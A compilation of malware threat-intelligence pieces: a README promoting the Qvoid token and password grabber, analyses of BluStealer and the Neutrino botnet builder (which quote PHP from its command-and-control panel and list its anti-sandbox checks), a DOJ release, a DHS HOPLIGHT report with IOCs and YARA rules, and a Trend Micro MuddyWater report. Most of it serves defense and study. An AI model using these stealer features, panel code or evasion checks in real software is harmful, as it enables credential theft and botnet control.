- 887aac61771af200f7e58bf0d02cb96d9befa11deda4e448f0a700ccb186ce9d
- 97a1e14988672f7381d54e70785994ed45c2efe3da37e07be251a627f25078a7
- 5f391ecd480711401f6da2f371156f995dd5cff7580f37791e79e62b91fd9eb
- 7a45a4ae68992e5be784b4a6da7acd98dc28281fe238f22c1f7c1d85a90d144a
- 5cd04805f9753ca08b82e88c27bf5426d1d356bb26b281885573051048911367
### Hashes SHA1
- 9292fa66c917bfa47e8012d302a69bec48e9b98c
- be59c867da75e2a66b8c2519e950254f817cd4ad
- 70c0d6b0a8485df01ed893a7919009f099591083
- 4fed7eae00bfa21938e49f33b7c6794fd7d0750c
- 763d356d30e81d1cd15f6bc6a31f96181edb0b8f
- e13f75f25f5830008a4830a75c8ccacb22cebe7b
- b99090009cf758fa7551b197990494768cd58687
- 809fbd450e1a484a5af4ec05c345b2a7072723e7
- e62d3a4fe0da1b1b8e9bcff3148becd6d02bcb07
- 91b2bf44b1f9282c09f07f16631deaa3ad9d956d
- f25f0b369a355f30f5e11ac11a7f644bcfefd963 |
# Qvoid-Token-Grabber
**Advanced grabber that grabs browser passwords, cookies, and Discord tokens with the computer information.**
## Features
- Protection (AntiDebug, AntiEmulation, AntiWebSniffers, AntiVM, AntiSandboxie) is controlled through the settings file.
- Discord webhooks integration.
- Grabs tokens from all installed clients even if the primary path changed and deletes account duplicates.
- Grabs PC information + token information.
- Shows top ten rarest friends.
- Grabs Discord password and sends the new info with every event that involves a password.
- Sends screenshot of all screens at the moment of the grabbing.
- Grabs browser cookies and passwords.
- Supports many Chromium-based & Gecko-based browsers. (Password & Cookies)
- WIFI passwords stealer.
- Crypto-clipper.
- Self-updating: When a new account is logged or a password changed, the grabber will send it again with the latest information.
- Bypasses Anti-Token-Grabbers.
## Notes
AFTER THE BUILD YOU CAN DELETE EVERYTHING IN THE OUTPUT DIRECTORY EXCEPT THE EXE FILE!
This project is for educational purposes only, so please do not use it to harm and damage. I started this project to learn about Discord's infrastructure and possible exploits. I made the base of this token-grabber about a year ago, and recently continued this project. This is the final result; I will update it and add more features in the future. Meanwhile, remember to use your power for good. If you liked it, consider starring this project and following me.
## Additional Information
### How to setup the grabber
You have any suggestions? Write us in our Discord server.
### What can I do against token grabbers?
To be protected against token grabbers, you are welcome to install my Anti-Token-Grabber, which is located on my GitHub. Although this grabber is bypassing it, other grabbers are not.
## License
This project is under Berkeley Software Distribution (BSD) license.
- The source code doesn’t need to be public when a distribution of the software is made.
- Modifications to the software can be released under any license.
- Changes made to the source code may not be documented.
- It offers no explicit position on patent usage.
- The license and copyright notice must be included in the documentation of the compiled version of the source code.
- The BSD 3-clause states that the names of the author and contributors can’t be used to promote products derived from the software without permission.
## Educational Purposes
"Copyright Disclaimer Under Section 107 of the Copyright Act 1976, allowance is made for 'fair use' for purposes such as criticism, comment, news reporting, teaching scholarship, and research. Fair use is a use permitted by copyright statutes that might otherwise be infringing. Non-profit, educational, or personal use tips the balance in favor of fair use."
## Legal Disclaimer
The author does not hold any responsibility for the harmful use of this tool; remember that attacking targets without prior consent is illegal and punished by law. |
# A new BluStealer Loader Uses Direct Syscalls to Evade EDRs
BluStealer malware was first detected in May 2021 by James_inthe_box. Back then, it was delivered through a phishing mail, either as an attachment or a Discord link leading to the malware download URL. According to Avast 2021 analysis, it “consists of a core written in Visual Basic and the C# .NET inner payload(s). The VB core reuses a large amount of code from a 2004 SpyEx project. Its capabilities to steal crypto wallet data, swap crypto addresses present in the clipboard, find and upload document files, exfiltrate data through SMTP and the Telegram Bot API, as well as anti-analysis/anti-VM tactics.”
BluStealer authors are not staying behind, and in their latest version, they implement what was one of 2021’s biggest trends - the use of direct syscalls to bypass EDRs. The latest version seems to have a pdf icon inserted to it, which would indicate that the delivery is via email, with the intention of tricking the user into executing the .exe loader while thinking it's a pdf.
The first stage loader is created with NSIS (Nullsoft Scriptable Install System), a professional open-source system used to create Windows installers, which drops three files to the user’s temp folder:
1. rwzhmby.exe - second stage loader file
2. mhxbnyunxz – third stage loader file
3. 3amz20m5vs – BluStealer malware
It then executes the rwzhmby.exe with `C:\Users\username\AppData\Local\Temp\mhxbnyunxz`.
The second stage loader reads the mhxbnyunxz and then allocates new memory, decrypts every byte read from mhxbnyunxz and continues to the decrypted code.
The decrypted code (third stage) from mhxbnyunxz is the most interesting part. It is the main BluStealer loader and is responsible for gaining persistency, creating the necessary environment, and finally executing the malware itself.
## BluStealer Environment:
The loader checks if the `C:\Users\username\AppData\Roaming\rmfyvviyify` folder exists. If it doesn’t, it creates it and then creates a copy of the second stage rwzhmby.exe file to the folder under the name juvhkpig.exe.
## Persistency:
After creating a folder and copying rwzhmby.exe to it, the loader creates a new `HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\wnyutmbcgovbty` registry key, which will run the malware every time the user logs on.
## Main Payload Execution:
The main payload seems to arrive in the 3amz20m5vs file. The loader first reads the file into allocated memory and then decrypts it. The only thing left is then to execute it. The malware uses a Process Hallowing Technique with a twist to execute the main payload. Some of the API calls used for Process Hollowing were switched to direct syscalls.
The List of Standard API calls used in the Process Hollowing technique:
1. CreateProcessA – the loader runs the first file in suspended mode.
2. NtQueryInformationProcess
3. ReadProcessMemory
4. NtUnmapViewOfSection – called by direct syscall (0x002a)
5. VirtualAllocEx
6. WriteProcessMemory - called by direct syscall (0x003a)
7. GetThreadContext
8. SetThreadContext
9. ResumeThread - called by direct syscall (0x0052)
Implementing an evasion technique like Process Hollowing while partly changing API calls to direct syscall is likely to confuse and bypass security products that rely on a specific set of API calls for detection.
The injected file is the final stage. Its original file name is firebed.exe and it is BluStealer itself. It seems to have been compiled on Apr 7th 2022, which might indicate that the author is constantly working on the stealer’s capabilities. As a first step, it creates a `C:\Users\Public\3046414246424646303030333036463242464246463030303330` folder which will contain the stolen data before the exfiltration. The injected file, firebed.exe, is also copied to this folder under the name misguise.exe.
Persistence capabilities have been changed since the previous version was released in September 2021. Our sample creates a `HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\boos` registry key which executes `C:\Users\Public\3046414246424646303030333036463242464246463030303330\misguise.exe`.
The new version of BluStealer is able to steal credentials from the following browsers:
- Iridium
- 7Star
- Cent Browser
- Chedot
- Vivaldi
- Kometa
- Elements Browser
- Epic Privacy Browser
- Sleipnir5
- Citrio
- Coowon
- liebao
- QIP Surf
- Orbitum
- Amigo
- Torch
- Yandex Browser
- Comodo Dragon
- 360Browser
- Maxthon3
- K-Melon
- Sputnik
- Nichrome
- CocCoc
- Uran
- Chromodo
- Atom
- Brave Browser
- Microsoft Edge
- Chromium
- Google Chrome
- Opera
- Mozilla Firefox
Many people store different credentials in their browsers so stealing this type of data might endanger both private and corporate users. It also steals doc files (.txt, .xls, .xlsx, .doc, .docx, .pdf, .utc, .rtf) and personal data from email applications such as “MailMaster” and “ThunderBird”.
Zcash crypto wallet was added to last year's list and the current list of wallet keys that can be stolen is:
1. Zcash
2. Armory
3. Bytecoin
4. Jaxx Liberty
5. Exodus
6. Electrum
7. Atomic
8. Guarda
9. Coinomi
The last step is exfiltrating the collected data through SMTP. It is worth mentioning that a loader implementing such evasive injection technique can allow it to bypass most security products, including AVs & EDRs. By changing the main payload file, the loader can potentially execute different types of malware, including ransomware.
## IOC’s
1. 790F4DA318B3A9592F4B35B73528DE2C - rwzhmby.exe
2. 122C0AA6F0362E3F6F11FF83E3A608C4 - mhxbnyunxz
3. 43E7B7F7D9E59C3256CF7E5CE114FC53 - 3amz20m5vs
4. 953B2013A8B0D4BE5368A65FC74C93F4 - firebed.exe/misguise.exe |
# Inside Neutrino Botnet Builder
It is common practice among cybercriminals to sell their products in the form of packages, consisting of:
- a malicious payload – a frontend of the malware that is used for infecting users
- a C&C panel – a backend of the malware, usually designed as a web application, often dedicated to LAMP environment
- a builder – an application used for packing the payload and embedding in it information specific for the interest of the particular distributor (the C&C address, some configuration, etc)
Such packages are commercial products sold on the black market. However, from time to time it happens that the product leaks into mainstream media. It gives researchers a precious opportunity to take a closer look at the used techniques.
Recently, I found a leaked package containing the builder for the Neutrino botnet. It is not the newest version (as usually the case), but it still provides a lot of useful information that can help in comparative analysis with the samples that are nowadays actively distributed.
## Elements Involved
- Neutrino Builder – 32 bit PE, written in VS2013, packed with Safengine Shielden v2.3.6.0 (md5=80660973563d13dfa57748bacc4f7758)
- Panel (written in PHP)
- Stub (payload) – 32 bit PE, written in MS Visual C++ (md5=55612860c7bf1425c939815a9867b560, section .text md5=07d78519904f1e2806dda92b7c046d71)
## Functionality
Neutrino Builder v3.9.4 has been written in Visual Studio 2013, and it requires the appropriate redistributable package to run. The provided version is cracked (as the banner states: “Cracked and coded by 0x22”).
The functionality of this tool is very simple – it just asks a user for the C&C address and writes it inside the payload. Comparing 2 payloads – the original one, and the one edited by the Builder, we can see that changes made by the builder are really small – it simply encrypts the supplied URL and stores it in the dedicated section.
The package contains full instructions written in Russian (readme.txt), where we can find many interesting details about the functionality.
### The requirements for the panel installation:
- PHP
- MySQL not lower than 5.6 (for the full functionality)
Default login and password to the panel: admin, admin
### Tasks performed by the infected client on demand:
- various types of DDoS attacks
- keylogging (enable/disable), including – trace text in a defined window
- find file of the defined type
- update bot
- remove bot
- DNS spoofing (redirect address X to address Y)
- Formgrabbing, stealing FTP credentials
- download and execute a file one of the following types (EXE, DLL, bat, vbs)
- add defined entry into the Windows Registry
### Full list of commands sent to bot:
```php
function EncodeCommand($command) {
switch (strtolower($command)) {
case "ddos":
return "http";
break;
case "https ddos":
return "https";
break;
case "slowloris ddos":
return "slow";
break;
case "smart http ddos":
return "smart";
break;
case "download flood":
return "dwflood";
break;
case "udp ddos":
return "udp";
break;
case "tcp ddos":
return "tcp";
break;
case "find file":
return "findfile";
break;
case "cmd shell":
return "cmd";
break;
case "keylogger":
return "keylogger";
break;
case "spreading":
return "spread";
break;
case "update":
return "update";
break;
case "loader":
return "loader";
break;
case "visit url":
return "visit";
break;
case "bot killer":
return "botkiller";
break;
case "infection":
return "infect";
break;
case "dns spoofing":
return "dns";
break;
}
return "failed";
}
```
C&C is very sensitive to illegitimate requests and reacts by blacklisting the IP of the source:
```php
function CheckBotUserAgent($ip) {
$bot_user_agent = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0";
if ($_SERVER['HTTP_USER_AGENT'] != $bot_user_agent) {
AddBan($ip);
}
if (!isset($_COOKIE['authkeys'])) {
AddBan($ip);
}
$cookie_check = $_COOKIE['authkeys'];
if ($cookie_check != "21232f297a57a5a743894a0e4a801fc3") { /* md5(admin) */
AddBan($ip);
}
}
```
Looking at install.php we can also see what are the formgrabbing targets. The list includes the most popular e-mails and social networking sites (facebook, linkedin, twitter, and others).
```php
$ff_sett = "INSERT INTO `formgrabber_host` (`hostnames`, `block`) VALUES".
"('capture_all', '.microsoft.com\r\ntiles.services.mozilla.com\r\nservices.mozilla.com\r\n.mcafee.com\r\nvs.mcafeeasap.com\r\nscan.pchealthadvisor.com\r\navg.com\r\nrrs.symantec.com\r\n
\r\n.msg.yahoo.com\r\ngames.yahoo.com\r\n.toolbar.yahoo.com\r\nquery.yahoo.com\r\nyahoo.com/pjsal\r\neBayISAPI.dll?VISuperSize&amp;amp;amp;item=\r\nbeap.bc.yahoo.com\r\n.mail.yahoo.com/ws/mail/v1/formrpc?
appid=YahooMailClassic\r\n.mail.yahoo.com/dc/troubleLoading\r\n.mail.yahoo.com/mc/compose\r\nmail.yahoo.com/mc/showFolder\r\nmail.yahoo.com/mc/showMessage\r\ninstallers
analytics.com/collect\r\nmaps.google\r\nnews.google\r\ngoogleapis.com\r\noogle.com/u/0/\r\noogle.com/u/1/\r\noogle.com/u/2/\r\noogle.com/u/3/\r\noogle.com/u/4/\r\noogle
channel/channel/\r\noogle.com/cloudsearch/\r\noogle.com/document/\r\noogle.com/dr\r\noogle.com/act\r\noogle.com/pref\r\noogle.com/cp\r\noogle.com/drive/\r\noogle.com/o/
ui\r\noogle.com/calendar\r\nogle.com/logos/\r\noglevideo.com\r\noglesyndication.com/activeview\r\nreddit.com/api/\r\ngeo.opera.com\r\n.com/do/mail/message/\r\nhttpcs.ms
friends/\r\nfacebook.com/growth/\r\nfacebook.com/intl/\r\nfacebook.com/logout\r\nfacebook.com/mobile/\r\nfacebook.com/photos/\r\nfacebook.com/video/\r\nfacebook.com/plu
trk\r\nlinkedin.com/wvmx/\r\nmyspace.com/beacon/\r\nmyspace.com/ajax/\r\nok.ru/app\r\nok.ru/gwtlog\r\nok.ru/?
cmd\r\nok.ru/dk\r\nok.ru/feed\r\nok.ru/game\r\nok.ru/profile\r\nok.ru/push\r\nplayer.vimeo.com\r\nsgsapps.com\r\nmyfarmvillage.com\r\napi.connect.facebook.com\r\nupload
wa=wsignin1.0\r\nusers.storage.live.com/users/\r\naccount.live.com/API/\r\nmail.live.com/mail/mail.fpp\r\nmail.live.com/mail/options\r\nmail.live.com/ol/\r\nmail.live.c
abn-finder/\r\namazon.com/gp/registry/wishlist/')";
$ff_hostname = "INSERT INTO `formgrabber_host` (`hostnames`) VALUES ('live,mail,paypal')";
```
The main file used for communication with the bot is tasks.php. Only POST requests are accepted.
```php
if ($_SERVER["REQUEST_METHOD"] != "POST") {
AddBan($real_ip);
}
CheckBotUserAgent($real_ip);
CheckBan($real_ip);
if (isset($_POST['cmd'])) {
$time = time();
$date = date('Y-m-d H:i:s');
$bot_ip = $real_ip;
$bot_os = $_POST['os'];
$bot_name = urlencode($_POST['uid']);
$bot_uid = md5($bot_os . $bot_name);
$bot_time = $time;
$bot_date = $date;
$bot_av = strip_data($_POST['av']);
$bot_version = strip_data($_POST['version']);
$bot_quality = intval($_POST['quality']);
$gi = geoip_open("GeoIP/GeoIP.dat", GEOIP_STANDARD);
$bot_country = geoip_country_code_by_addr($gi, $bot_ip);
if ($bot_country == null) {
$bot_country = "O1";
}
geoip_close($gi);
}
```
Opening index.php causes adding the client’s IP into a blacklist (unconditional):
```php
ConnectMySQL($db_host, $db_login, $db_password, $db_database);
CheckBan($real_ip);
AddBan($real_ip);
```
## Stub
All the commands that can be found in the backend are reflected in the frontend. We can see it clearly, because the payload is not obfuscated! Hard-coded authkey, that is checked in by the C&C occurs in every request sent by the bot. The bot is registering itself to C&C, reporting its version and environment.
### Implementation of the commands requested by the C&C (selected examples):
- Downloading specified payload from the C&C.
### Keylogger (fragment)
The stolen content (i.e. logged keys) is saved in a file (logs.rar). Further, the file is read and uploaded to the C&C.
### Wrapping the file in a POST request:
Also, success and failure of every task requested by the C&C is reported by the bot.
This malware is a threat not only for a local computer. It also scans LAN searching for shared resources and steals them.
## Defensive Techniques
The payload also contains an extensive set of various defensive functions. In addition to the well-known checks – like `isDebuggerPresent`, we can find some that are less spread – like checking the user name against names used by known sandboxes: “maltest”, “tequilaboomboom”, “sandbox”, “virus”, “malware”. Full set explained below:
- is debugger present, via: `IsDebuggerPresent`
- is remote debugger present, via: `CheckRemoteDebuggerPresent(GetCurrentProcess(), pDebuggerPresent)`
- check if running under Wine, via: `GetProcAddress(GetModuleHandleW(“kernel32.dll”), “wine_get_unix_file_name”)`
Check presence of blacklisted substrings (ignore case):
- username via: `GetUserNameW` vs {“MALTEST“, “TEQUILABOOMBOOM“, “SANDBOX“, “VIRUS“, “MALWARE“}
- current module name, via: `GetModuleNameW` vs {“SAMPLE“, “VIRUS“, “SANDBOX” }
- BIOS version, via registry key: “HARDWARE\Description\System“, value “SystemBiosVersion” against: {“VBOX“, “QEMU“, “BOCHS“}
- BIOS version, via registry key: “HARDWARE\Description\System“, value “VideoBiosVersion” against: “VIRTUALBOX“
Check presence of:
- VMWareTools, via registry key: `SOFTWARE\VMware, Inc.\VMware Tools`
- VBoxGuestAdditions, via registry key: `SOFTWARE\Oracle\VirtualBox Guest Additions`
## Conclusion
Malware analysts usually deal with just one piece of the puzzle from the following set – the malicious payload. Having a look at full packages, like the one described above, helps to see the bigger picture. It also gives a good overview on how the actions of distributing malware are coordinated. As we can see, criminals are provided with a very easy way to bootstrap their own malicious C&C. It doesn’t really require advanced technical skills to become a botnet owner. We live in an age when malware is a weapon available to the masses – that’s why it is so crucial for everyone to have a solid and layered protection. |
# Ukrainian Cyber Criminal Extradited for Decrypting Credentials
**September 8, 2021**
**Department of Justice**
**U.S. Attorney’s Office**
**Middle District of Florida**
Tampa, Florida – Acting United States Attorney Karin Hoppmann announces the extradition of Glib Oleksandr Ivanov-Tolpintsev (28, Chernivtsi, Ukraine) in connection with charges of conspiracy, trafficking in unauthorized access devices, and trafficking in computer passwords. If convicted on all counts, he faces a maximum penalty of 17 years in federal prison. The indictment also notifies Ivanov-Tolpintsev that the United States intends to forfeit $82,648, which is alleged to be traceable to proceeds of the offenses.
Ivanov-Tolpintsev was taken into custody by Polish authorities in Korczowa, Poland, on October 3, 2020, and extradited to the United States pursuant to the extradition treaty between the United States and the Republic of Poland. Ivanov-Tolpintsev was presented on September 7, 2021, before United States Magistrate Julie S. Sneed, and ordered detained pending trial.
According to the indictment, Ivanov-Tolpintsev controlled a “botnet,” which is a network of computers infected with malware and controlled as a group without the owners’ knowledge. He used the botnet to conduct brute-force attacks designed to decrypt numerous computer login credentials simultaneously. During the course of the conspiracy, Ivanov-Tolpintsev stated that his botnet was capable of decrypting the login credentials of at least 2,000 computers every week. Ivanov-Tolpintsev then sold these login credentials on a dark web website that specialized in the purchase and sale of access to compromised computers. Once sold on this website, credentials were used to facilitate a wide range of illegal activity, including tax fraud and ransomware attacks.
An indictment is merely a formal charge that a defendant has committed one or more violations of federal criminal law, and every defendant is presumed innocent unless, and until, proven guilty.
The investigation was led by the Tampa Division of the Federal Bureau of Investigation, the Internal Revenue Service—Criminal Investigation’s Tampa Field Office, and Homeland Security Investigations - Tampa Division. Substantial assistance was provided by the Department of Justice’s Office of International Affairs and the Internal Revenue Service—Criminal Investigation Cyber Crimes Unit in Washington, D.C. This investigation also benefited from foreign law enforcement cooperation by the Polish National Police, the Polish Prosecutor’s Office, and the Polish Ministry of Justice. It will be prosecuted by Assistant United States Attorney Carlton C. Gammons. |
# North Korean Trojan: HOPLIGHT
**Notification**
This report is provided "as is" for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of the information contained within. The DHS does not endorse any commercial product or service referenced in this bulletin or otherwise. This document is marked TLP:WHITE. Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed.
## Summary
### Description
This Malware Analysis Report (MAR) is the result of analytic efforts between the Department of Homeland Security (DHS) and the Federal Bureau of Investigation (FBI). Working with U.S. Government partners, DHS and FBI identified Trojan malware variants used by the North Korean government. This malware variant is identified as HOPLIGHT. The U.S. Government refers to malicious cyber activity by the North Korean government as HIDDEN COBRA. DHS and FBI are distributing this MAR to enable network defense and reduce exposure to North Korean government malicious cyber activity. This MAR includes malware descriptions related to HIDDEN COBRA, suggested response actions, and recommended mitigation techniques. Users should flag activity associated with the malware and report the activity to the Cybersecurity and Infrastructure Security Agency (CISA) or the FBI Cyber Division and give the activity the highest priority for enhanced mitigation.
This report provides analysis of nine malicious executable files. Seven of these files are proxy applications that mask traffic between the malware operators. The proxies have the ability to generate fake TLS handshake sessions using valid public SSL certificates, disguising network connections from malicious actors. One file contains a public SSL certificate, and the payload of the file appears to be encoded with a password or key. The remaining file does not contain any of the public SSL certificates but attempts outbound connections and drops four files. The dropped files primarily contain IP addresses and socket pairs.
### Findings
**Submitted Files (9)**
- `05feed9762bc46b47a7dc5c469add9f163c16df4ddaafe81983a628da5714461` (23E27E5482E3F55BF828DAB885569033)
- `12480585e08855109c5972e85d99cda7701fe992bc1754f1a0736f1eebcb004d` (868036E102DF4CE414B0E6700825B3...)
- `2151c1977b4555a1761c12f151969f8e853e26c396fa1a7b74ccbaf3a48f4525` (5C3898AC7670DA30CF0B22075F3E8E...)
- `4a74a9fd40b63218f7504f806fce71dffefc1b1d6ca4bbaadd720b6a89d47761` (42682D4A78FE5C2EDA988185A34463...)
- `4c372df691fc699552f81c3d3937729f1dde2a2393f36c92ccc2bd2a033a0818` (C5DC53A540ABE95E02008A04A0D56D...)
- `70034b33f59c6698403293cdc28676c7daa8c49031089efa6eefce41e22dccb3` (61E3571B8D9B2E9CCFADC3DDE10FB6...)
- `83228075a604e955d59edc760e4c4ed16eedabfc8f6ac291cf21b4fcbcd1f70a` (3021B9EF74c&BDDF59656A035F94FD...)
- `d77fdabe17cdba62a8e728cbe6c740e2c2e541072501f77988674e07a05dfb39` (F8D26F2B8DD2AC4889597E1F2FD1F2...)
- `ddea408e178f0412ae78ff5d5adf2439251f68cad4fd853ee466a3c74649642d` (BE588CD29B9DC6F8CFC4D0AA5E5C79...)
**Additional Files (4)**
- `49757cf85657757704656c079785c072bbc233cab942418d99d1f63d43f28359` (rdpproto.dll)
- `70902623c9cd0cccc8513850072b70732d02c266c7b7e96d2d5b2ed4f5edc289` (udbcgiut.dat)
- `96a296d224f285c67bee93c30f8a309157f0daa35dc5b87e410b78630a09cfc7` (MSDFMAPI.INI)
- `cd5ff67ff773cc60c98c35f9e9d514b597cbd148789547ba152ba67bfc0fec8f` (UDPTrcSvc.dll)
**IPs (15)**
- 112.175.92.57
- 113.114.117.122
- 128.200.115.228
- 137.139.135.151
- 181.39.135.126
- 186.169.2.237
- 197.211.212.59
- 21.252.107.198
- 26.165.218.44
- 47.206.4.145
- 70.224.36.194
- 81.94.192.10
- 81.94.192.147
- 84.49.242.125
- 97.90.44.200
### Malware Details
**File: 05feed9762bc46b47a7dc5c469add9f163c16df4ddaafe81983a628da5714461**
- **Name:** 23E27E5482E3F55BF828DAB885569033
- **Size:** 242688 bytes
- **Type:** PE32 executable (GUI) Intel 80386, for MS Windows
- **MD5:** 23e27e5482e3f55bf828dab885569033
- **SHA1:** 139b25e1ae32a8768238935a8c878bfbe2f89ef4
- **SHA256:** 05feed9762bc46b47a7dc5c469add9f163c16df4ddaafe81983a628da5714461
- **SHA512:** 2c481ef42dfc9a7a30575293d09a6f81943e307836ec5b8a346354ab5832c15046dd4015a65201311e33f944763fc55dd44fbe390245be
- **ssdeep:** 6144:YnDlYMzUvLFOL9wqk6+pqC8iooIBgajvQlm/Z0cp1:alYiXiooIKajvQeZ3
- **Entropy:** 6.537337
**Antivirus**
- ESET: a variant of Win32/NukeSped.AI trojan
- Symantec: Heur.AdvML.B
**Yara Rules**
- rule crypt_constants_2 { meta: Author="NCCIC trusted 3rd party" Incident="10135536" Date = "2018/04/19" "hidden_cobra" family = "n/a" description = "n/a" strings: $ = {efcdab90} $ = {558426fe} $ = {7856b4c2} condition: (uint16(uint32(0x3c)) == 0x4550) and all of them }
- rule lsfr_constants { meta: Author="NCCIC trusted 3rd party" Incident="10135536" Date = "2018/04/19" "hidden_cobra" family = "n/a" description = "n/a" strings: $ = {efcdab90} $ = {558426fe} $ = {7856b4c2} condition: (uint16(uint32(0x3c)) == 0x4550) and all of them }
- rule polarSSL_servernames { meta: Author="NCCIC trusted 3rd party" Incident="10135536" Date = "2018/04/19" "hidden_cobra" family = "n/a" description = "n/a" strings: $polarSSL = "fjiejffndxklfsdkfjsaadiepwn" $sn1 = "www.naver.com" condition: (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and ($polarSSL) }
**ssdeep Matches**
No matches found.
**PE Metadata**
- **Compile Date:** 2017-06-05 21:57:29-04:00
- **Import Hash:** ff390ec082b48263a3946814ea18ba46
**PE Sections**
| MD5 | Name | Raw Size | Entropy |
| --- | ---- | -------- | ------- |
| c06924120c87e2cb79505e4ab0c2e192 | header | 1024 | 2.542817 |
| 3368eda2d5820605a055596c7c438f0f | .text | 197120 | 6.441545 |
| ec1f06839fa9bc10ad8e183b6bf7c1b5 | .rdata | 27136 | 5.956914 |
| 1e62b7d9f7cc48162e0651f7de314c8a | .data | 8192 | 4.147893 |
| 980effd28a6c674865537f313318733a | .rsrc | 512 | 5.090362 |
| 696fd5cac6e744f336e8ab68a4708fcf | .reloc | 8704 | 5.247502 |
**Packers/Compilers/Cryptors**
Microsoft Visual C++ ?.?
### Malware Capabilities
The malware is capable of the following functions:
- Read, Write, and Move Files
- Enumerate System Drives
- Create and Terminate Processes
- Inject into Running Processes
- Create, Start and Stop Services
- Modify Registry Settings
- Connect to a Remote Host
- Upload and Download Files
The malware is capable of opening and binding to a socket. The malware uses a public SSL certificate for secure communication. This certificate is associated with Naver.com, the largest search engine in Korea.
### Notable Strings
- fjiejffndxklfsdkfjsaadiepwn
- ofuierfsdkljffjoiejftyuir
- reykfgkodfgkfdskgdfogpdokgsdfpg
- ztretrtireotreotieroptkierert
- etudjfirejer
- yrty
- uiyy
- uiyiyj lildvucv
- erfdfe poiiumwq
The next four artifacts contain identical characteristics as those described above. Therefore, only capability that is unique will be described for the subsequent files. |
# MuddyWater Resurfaces, Uses Multi-Stage Backdoor POWERSTATS V3 and New Post-Exploitation Tools
Posted on: June 10, 2019
Posted in: Malware, Targeted Attacks
Author: Trend Micro
By Daniel Lunghi and Jaromir Horejsi
We found new campaigns that appear to wear the badge of MuddyWater. Analysis of these campaigns revealed the use of new tools and payloads, which indicates that the well-known threat actor group is continuously developing their schemes. We also unearthed and detailed our other findings on MuddyWater, such as its connection to four Android malware families and its use of false flag techniques, among others, in our report “New MuddyWater Activities Uncovered: Threat Actors Used Multi-Stage Backdoors, False Flags, Android Malware, and More.”
One of the campaigns sent spear-phishing emails to a university in Jordan and the Turkish government. The said legitimate entities’ sender addresses were not spoofed to deceive email recipients. Instead, the campaign used compromised legitimate accounts to trick victims into installing malware.
Our analysis revealed that the threat actor group deployed a new multi-stage PowerShell-based backdoor called POWERSTATS v3. The spear-phishing email that contains a document embedded with a malicious macro drops a VBE file encoded with Microsoft Script Encoder. The VBE file, which holds a base64-encoded block of data containing obfuscated PowerShell script, will then execute. This block of data will be decoded and saved to the %PUBLIC% directory under various names ending with image file extensions such as .jpeg and .png. The PowerShell code will then use custom string obfuscation and useless code blocks to make it difficult to analyze.
The final backdoor code is revealed after the deobfuscation of all strings and removal of all unnecessary code. But first, the backdoor will acquire the operating system (OS) information and save the result to a log file. This file will be uploaded to the command and control (C&C) server. Each victim machine will generate a random GUID number, which will be used for machine identification. Later on, the malware variant will start the endless loop, querying for the GUID-named file in a certain folder on the C&C server. If such a file is found, it will be downloaded and executed using the Powershell.exe process.
A second stage attack can be launched by commands sent to a specific victim in an asynchronous way; e.g., another backdoor payload can be downloaded and installed to targets that they are interested in.
We were able to analyze a case where the group launched a second stage attack. The group was able to download another backdoor, which is supported by the following commands:
- Take screenshots
- Command execution via the cmd.exe binary
- If there’s no keyword, the malware variant assumes that the input is PowerShell code and executes it via the “Invoke-Expression” cmdlet.
The C&C communication is done using PHP scripts with a hardcoded token and a set of backend functions such as sc (screenshot), res (result of executed command), reg (register new victim), and uDel (self-delete after an error).
## Other MuddyWater campaigns in the first half of 2019
The MuddyWater threat actor group has been actively targeting victims with a variety of tricks, and they seem to keep on adding more as they move forward with new campaigns. The campaign that used POWERSTATS v3 is not the only one we found with new tricks. We observed other campaigns that changed their delivery methods and dropped file types. Notably, these campaigns have also changed payloads and publicly available post-exploitation tools.
| Discovery Date | Method for dropping malicious code | Type of files dropped | Final payload |
|----------------|-----------------------------------|-----------------------|---------------|
| 2019-01 | Macros | EXE | SHARPSTATS |
| 2019-01 | Macros | INF, EXE | DELPHSTATS |
| 2019-03 | Macros | Base64 encoded, BAT | POWERSTATS v2 |
| 2019-04 | Template injection | Document with macros | POWERSTATS v1 or v2 |
| 2019-05 | Macros | VBE | POWERSTATS v3 |
In January 2019, we discovered that the campaign started using SHARPSTATS, a .NET-written backdoor that supports DOWNLOAD, UPLOAD, and RUN functions. In the same month, DELPHSTATS, a backdoor written in the Delphi programming language, emerged. DELPHSTATS queries the C&C server for a .dat file before executing it via the Powershell.exe process. Like SHARPSTATS, DELPHSTATS employs custom PowerShell script with code similarities to the one embedded into the former.
We came across the heavily obfuscated POWERSTATS v2 in March 2019. An earlier version of this backdoor decodes the initial encoded/compressed blocks of code, while an improved version appeared later on. The latter heavily uses format strings and redundant backtick characters. The function names in the earlier version were still somewhat readable, but they were completely randomized in later versions.
After deobfuscation, the main backdoor loop queries different URLs for a “Hello server” message to obtain command and upload the result of the run command to the C&C server.
## Use of different post-exploitation tools
We also observed MuddyWater’s use of multiple open source post-exploitation tools, which they deployed after successfully compromising a target.
| Name of the Post-Exploitation Tool | Programming language/Interpreter |
|-------------------------------------|----------------------------------|
| CrackMapExec | Python, PyInstaller |
| ChromeCookiesView | Executable file |
| chrome-passwords | Executable file |
| EmpireProject | PowerShell, Python |
| FruityC2 | PowerShell |
| Koadic | JavaScript |
| LaZagne | Python, PyInstaller |
| Meterpreter | Reflective loader, executable file|
| Mimikatz | Executable file |
| MZCookiesView | Executable file |
| PowerSploit | PowerShell |
| Shootback | Python, PyInstaller |
| Smbmap | Python, PyInstaller |
The delivery of the EmpireProject stager is notable in one of the campaigns that we monitored. The scheme involves the use of template injection and the abuse of the CVE-2017-11882 vulnerability. If the email recipient clicks on a malicious document, a remote template is downloaded, which will trigger the exploitation of CVE-2017-11882. This will then lead to the execution of the EmpireProject stager.
Another campaign also stands out for its use of the LaZagne credential dumper, which was patched to drop and run POWERSTATS in the main function.
## Conclusion and security recommendations
While MuddyWater appears to have no access to zero-days and advanced malware variants, it still managed to compromise its targets. This can be attributed to the constant development of their schemes. Notably, the group’s use of email as an infection vector seems to yield success for their campaigns. In this regard, apart from using smart email security solutions, organizations should inform their employees of ways to stay safe from email threats.
